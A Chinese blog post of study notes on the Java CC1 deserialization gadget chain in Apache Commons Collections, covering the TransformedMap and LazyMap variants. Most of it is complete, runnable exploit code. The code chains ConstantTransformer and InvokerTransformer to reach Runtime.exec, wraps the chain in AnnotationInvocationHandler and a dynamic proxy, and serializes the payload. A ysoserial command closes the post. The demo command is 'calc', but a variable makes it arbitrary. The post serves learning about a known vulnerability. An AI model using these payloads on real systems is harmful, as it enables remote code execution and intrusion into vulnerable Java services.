java反序列化----CC1利用链学习笔记(TransformedMap和LazyMap)(基于commons-collections3和4)

CC1--TransformedMap类反序列化

环境搭建

windows的ij idea
CC1漏洞影响范围:
JDk <= jdk8u65
commons-collections <= 3.2.1
这里使用别的大佬已经弄好的内置sun源码的jdk7
https://pan.baidu.com/s/1wQjonrox8m6YroB8G24UYA?pwd=2mnm
maven项目中添加

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>

CC1.java(最初的代码)

import org.apache.commons.collections.functors.InvokerTransformer;

public class CC1 {
    public static void main(String[] args) {
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(Runtime.getRuntime());
    }
}

但是程序不会自动调用InvokerTransformer类的transform方法,然后利用java的重写机制调用InvokerTransformer类的transform方法
当程序会自动调用readObject方法,如果我们向上找到哪一个类调用了readObject方法,这个利用链就结束了

代码审计

攻击链

TransformedMap->AnnotationInvocationHandler.readObject()->setValue()->checkSetValue()

InvokerTransformer类

ctrl+左键进入InvokerTransformer

很明显transform方法里面调用了危险代码(java反射类)

            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);


因为程序是不会自动调用transform方法,所以继续往上找

TransformedMap类

里面有三个函数调用了transform方法


但是这三个方法都是protected类型,不能直接调用,所以还得找一个public类型的方法调用这三个protected类型的方法
找到两个public类型的方法,new TransformedMap(map, keyTransformer, valueTransformer);又重新调用一遍TransformedMap

找到其构造函数

所以现在可以利用TransformedMap中的decorate或decorateTransform调用transformKey或transformValue或checkSetValue或方法
decorate或decorateTransform需要传入一个Map类型参数和两个Transformer类型参数,而因为InvokerTransformer也是属于Transformer类型
所以可以直接把InvokerTransformer传入参数

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception {
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        // 以下代码代替了invokerTransformer.transform(Runtime.getRuntime);
        Map map = new HashMap();
        TransformedMap transformedMap = (TransformedMap) TransformedMap.decorateTransform(map,invokerTransformer,invokerTransformer);//decorateTransform,decorate都可以
        Method checkSetValue = TransformedMap.class.getDeclaredMethod("checkSetValue", Object.class);//transformKey,transformValue,checkSetValue都可以
        checkSetValue.setAccessible(true);
        checkSetValue.invoke(transformedMap,Runtime.getRuntime());
    }
}

但是程序也不会自动调用transformKey,transformValue,checkSetValue,可以分别对这三者find usages
前两者别的地方利用的较少,所以查找哪里利用checkSetValue方法
使用右上角的放大镜进行全局搜索

AbstractInputCheckedMapDecorator

在最后找到setValue调用了checkSetValue方法

现在继续向上找谁调用了setValue方法

AnnotationInvocationHandler

发现里面含有readObject方法,这个程序可以自动调用

可以调用setValue方法

需要满足memberType != null并且!(memberType.isInstance(value) || value instanceof ExceptionProxy)
在构造函数这里发现memberValue是Map类型

type的参数类型是Class<? extends Annotation>

我们在给AnnotationInvocationHandler对象初始化的时候需要传入一个注解的类对象,寻找注解类

在开始的循环处是要循环读取Map的membervalue

所以可以

        Map map = new HashMap();
        map.put("value","key");

考虑使用反射类执行恶意代码,一个demo

import java.lang.reflect.Method;

public class Reflect_Demo {
    public static void main(String[] args) throws Exception{
        Class runtimeClass = Runtime.class;
        Method runtimeMethod = runtimeClass.getMethod("getRuntime");
        Runtime runtime = (Runtime) runtimeMethod.invoke(null);
        Method execMethod = runtimeClass.getMethod("exec",String.class);
        execMethod.invoke(runtime,"calc");
    }
}

反射构造AnnotationInvocationHandler

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Retention.class, transformedMap);

InvokerTransformer的构造函数如下

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

transform

            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);

更改后的代码

import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Method;

public class CC1_Reflect {
    public static void main(String[] args){
        Class runtimeClass = Runtime.class;
/*
        getMethod(String name, Class<?>... parameterTypes)所以new Class[]{String.class,Class[].class},然后getMethod第一个参数传入getRuntime,第二个参数传入null
        invoke(Object obj, Object... args)所以new Class[]{Object.class,Object[].class},然后invoke两个参数都传入null
        exec(String command) 所以new Class[]{String.class}然后exec传入calc命令
*/
        Method runtimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(runtimeClass);//将Runtime.class传入transform,通过InvokerTransformer调出Runtime.class.getMethod.getRuntime方法
        Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(runtimeMethod);//将Runtime.class.getMethod.getRuntime传入transform,通过InvokerTransformer调出Runtime.class.getMethod.getRuntime.invoke
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);//将Runtime.class.getMethod.getRuntime.invoke传入transform,通过InvokerTransformer调出exec("calc"),执行恶意命令
    }
}

我们最后要把一个Transfomer(InvokerTransformer)对象传给TransformedMap,但上述代码调用了多个Transfomer(InvokerTransformer)对象,所以我们还得找一个方法能够把这多个Transfomer(InvokerTransformer)对象同时传给TransformedMap
我们现在InvokerTransformer类开头public class InvokerTransformer implements Transformer, Serializable ctrl+左键进入Transformer

ctrl+H找一下Transformer接口下有哪些子类可以调用,发现一个ChainedTransformer,Chained意为"链式"


ChainedTransformer可以实现我们的目的

ChainedTransformer

这个地方可以实现链式调用

import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import javax.xml.transform.Transformer;

public class CC1_ChainEXP {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(Runtime.class);
    }
}


但是这样会报错
现在回到那个for循环和两个if判断的地方

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));

memberValue.setValue设置成AnnotationTypeMismatchExceptionProxy类型,而我们想传入Transformer对象,所以报错了
ChainedTransformer第一个调用的是getMethod,而AnnotationTypeMismatchExceptionProxy并没有getMethod方法

回到Transformer中ctrl+H,发现一个ConstantTransformer,Constant意为常量

在这里可以看到无论传入什么参数,都返回一个常量值

所以我们可以在ChainedTransformer中第一个位置添加new ConstantTransformer(Runtime.class)
综合EXP
1.

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception {
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        // 以下代码代替了invokerTransformer.transform(Runtime.getRuntime);
        Map map = new HashMap();
        map.put("value","key");
        TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(map,invokerTransformer,invokerTransformer);//decorateTransform也可以,中间的参数可以为null
        Method checkSetValue = transformedMap.getClass().getDeclaredMethod("checkSetValue", Object.class);
        checkSetValue.setAccessible(true);
        checkSetValue.invoke(transformedMap,Runtime.getRuntime());
    }
}
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class CC1_ChainEXP {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(Runtime.class);
    }
}

还有

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Retention.class, transformedMap);

得到最终的EXP

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1_Final {
    public static void main(String[] args) throws Exception {
        //构造恶意调用链
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        map.put("value", "key");
        TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(map, null, chainedTransformer);//decorateTransform也可以,中间的参数可以为null或chainedTransformer

        //反射构造AnnotationInvocationHandler的实例并且序列化为payload
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Retention.class, transformedMap);

        //序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1.txt"));
        oos.writeObject(o);
        //反序列化
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc1.txt"));
        System.out.println(ois.readObject());
    }
}

CC1--LazyMap类反序列化

在开始的transform find usages处除了TransformedMap还有一个LazyMap

发现get方法调用了transform方法

现在目标是找到一个readObject方法去调用get方法
AnnotationInvocationHandler里面invoke方法调用了get方法

前半部分的payload稍作改变

String cmd = "calc";
        //构造恶意调用链
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map innermap = new HashMap();
        innermap.put("value", "key");
        Map outerMap = LazyMap.decorate(innermap,chainedTransformer);//取代 TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(map, null, chainedTransformer);//decorateTransform也可以,中间的参数可以为null或chainedTransformer

        //反射构造AnnotationInvocationHandler的实例并且序列化为payload
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class,outerMap);

java的动态代理

一个demo

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

interface  Hello{
    void sayHello();
}

class HelloImpl implements Hello {
    @Override
    public void sayHello() {
        System.out.println("Hello world");
    }
}

class MyInvocationHandler implements InvocationHandler{
    private  Object obj;

    public MyInvocationHandler(Object obj){
        this.obj = obj;
    }

    public Object invoke(Object proxy, Method method,Object[] args) throws  Throwable{
        System.out.println("Before invoking sayHello...");
        Object result = method.invoke(obj,args);
        System.out.println("After invoking sayHello...");
        return result;

    }
}
public class DynamicProxy_Demo {
    public static void main(String[] args){
        Hello hello = new HelloImpl();

        InvocationHandler handler = new MyInvocationHandler(hello);

        Hello proxyHello = (Hello) Proxy.newProxyInstance(
                hello.getClass().getClassLoader(),
                hello.getClass().getInterfaces(),
                handler);

        proxyHello.sayHello();
    }
}

在执行代理对象的任意方法时,实际都是去执行InvocationHandler对象的invoke方法
而执行InvocationHandler对象的方法时,执行了AnnotationInvocationHandler对象的invoke方法
所以

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[] {Map.class},invocationHandler);

但此时的proxyMap不能进行序列化,得用AnnotationInvocationHandler对proxyMap进行包裹

        Object o = (InvocationHandler) constructor.newInstance(Retention.class,proxyMap);

最终payload

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1_Final2 {
    public static void main(String[] args) throws Exception, IOException {
        String cmd = "calc";
        //构造恶意调用链
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map innermap = new HashMap();
        innermap.put("value", "key");
        Map outerMap = LazyMap.decorate(innermap,chainedTransformer);//取代 TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(map, null, chainedTransformer);//decorateTransform也可以,中间的参数可以为null或chainedTransformer

        //反射构造AnnotationInvocationHandler的实例并且序列化为payload
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class,outerMap);

        //动态代理触发AnnotationInvocationHandler类的invoke方法
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[] {Map.class},invocationHandler);

        ////用AnnotationInvocationHandler对proxyMap进行包裹
        Object o = (InvocationHandler) constructor.newInstance(Retention.class,proxyMap);

        //序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1-2.txt"));
        oos.writeObject(o);

        //反序列化
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc1-2.txt"));
        System.out.println(ois.readObject());
    }
}

ysoserial中CC1的利用链就是这个LazyMap

java -jar ysoserial-all.jar CC1 "calc"

参考文章

https://blog.csdn.net/weixin_46367450/article/details/132274219?spm=1001.2014.3001.5502
https://blog.csdn.net/weixin_43970718/article/details/132391966
https://article.itxueyuan.com/e1K3nK
https://blog.csdn.net/weixin_54648419/article/details/122748213

posted @ 2023-11-16 20:35  BattleofZhongDinghe  阅读(232)  评论(0编辑  收藏  举报